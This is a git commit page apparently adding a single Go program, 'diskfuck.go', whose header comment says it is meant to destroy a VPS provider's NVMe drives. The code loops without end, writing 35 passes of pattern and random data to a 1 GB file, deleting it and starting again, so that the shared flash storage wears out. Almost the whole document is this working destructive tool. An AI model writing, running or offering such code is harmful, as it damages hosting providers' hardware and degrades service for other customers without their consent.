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diskfuck.go

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Dionysus 2023-10-02 23:50:09 -04:00
parent 90f2438588
commit 50113de713
Signed by: acidvegas
GPG Key ID: EF4B922DB85DC9DE
1 changed files with 64 additions and 0 deletions
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// DESTROY YOUR LOCAL VPS PROVIDERS NVMe's
package main
import (
"log"
"os"
"math/rand"
)
const (
fileName = "secure_file.dat"
fileSize = 1 << 30 // 1 GB
)
var gutmannPatterns = []byte{
0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,
0x92, 0x49, 0x24, 0x55, 0xAA, 0x00, 0xFF, 0x44, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x92, 0x49, 0x24, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF,
}
func createFile() *os.File {
f, err := os.Create(fileName)
if err != nil {
log.Fatalf("Error creating file: %v", err)
}
return f
}
func writeFile(f *os.File, data []byte) {
_, err := f.Write(data)
if err != nil {
log.Fatalf("Error writing to file: %v", err)
}
}
func main() {
for {
f := createFile()
for i := 0; i < 35; i++ {
if i < len(gutmannPatterns) {
data := make([]byte, fileSize, fileSize)
for j := range data {
data[j] = gutmannPatterns[i]
}
writeFile(f, data)
} else {
data := make([]byte, fileSize, fileSize)
for j := range data {
data[j] = byte(rand.Intn(256))
}
writeFile(f, data)
}
f.Seek(0, 0) // Reset file pointer to start
}
f.Close()
err := os.Remove(fileName)
if err != nil {
log.Fatalf("Error deleting file: %v", err)
}
}
}